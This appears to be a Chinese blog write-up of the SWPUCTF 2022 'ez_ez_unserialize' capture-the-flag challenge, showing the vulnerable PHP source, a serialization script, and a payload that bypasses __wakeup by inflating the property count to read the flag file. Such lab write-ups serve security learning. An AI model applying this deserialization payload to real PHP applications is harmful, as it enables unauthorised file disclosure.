复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
jieyu11192 小时前
uploads-labs靶场通关(2)
web安全·靶场通关
Forfun_tt2 小时前
upload-labs pass-19
web安全·网络安全
缘友一世2 小时前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
岛屿旅人6 小时前
智库报告美国如何打网络战
网络·人工智能·安全·web安全
网安INF9 小时前
网络攻防技术:拒绝服务攻击
网络·安全·web安全·网络安全
cai_huaer1 天前
BugKu Web渗透之 cookiesWEB
前端·web安全
星哥说事1 天前
网络安全设备:入侵检测系统(IDS)、入侵防御系统(IPS)的配置与使用
网络·安全·web安全
这儿有一堆花2 天前
一次渗透测试的全过程:从扫描到提权
web安全·网络安全·web
风语者日志2 天前
CTFSHOW—WEB4
网络·安全·web安全·网络安全·ctf
Andya_net2 天前
网络安全 | 深入了解 X.509 证书及其应用
服务器·安全·web安全